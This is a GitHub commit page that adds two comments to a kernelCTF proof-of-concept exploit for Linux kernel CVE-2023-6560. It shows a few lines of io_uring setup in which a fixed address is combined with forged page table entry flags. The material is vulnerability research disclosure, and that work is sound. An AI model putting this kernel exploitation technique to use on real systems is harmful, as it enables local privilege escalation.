We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
1 parent ca13fc6 commit e003b3dCopy full SHA for e003b3d
pocs/linux/kernelctf/CVE-2023-6560_mitigation/exploit/mitigation-v4-6.6/exploit.c
@@ -326,6 +326,8 @@ void pwn() {
326
sqe = (struct io_uring_sqe *)(sqes + sqes_offset);
327
memset(sqe, 0, sizeof(*sqe));
328
sqe->opcode = IORING_OP_NOP;
329
+ // 0x9c000: fixed address, please refer to https://github.com/google/security-research/blob/ca13fc6d5e7184b13bb82a91dd3a6fa2430fdbd7/pocs/linux/kernelctf/CVE-2023-6560_mitigation/docs/exploit.md#leak-through-write
330
+ // 0x8000000000000067: page table entry flags (_PAGE_BIT_PRESENT | _PAGE_BIT_RW | _PAGE_BIT_USER | _PAGE_BIT_ACCESSED | _PAGE_BIT_DIRTY | _PAGE_BIT_NX)
331
sqe->user_data = 0x9c000 | 0x8000000000000067;
332
sqe++;
333
0 commit comments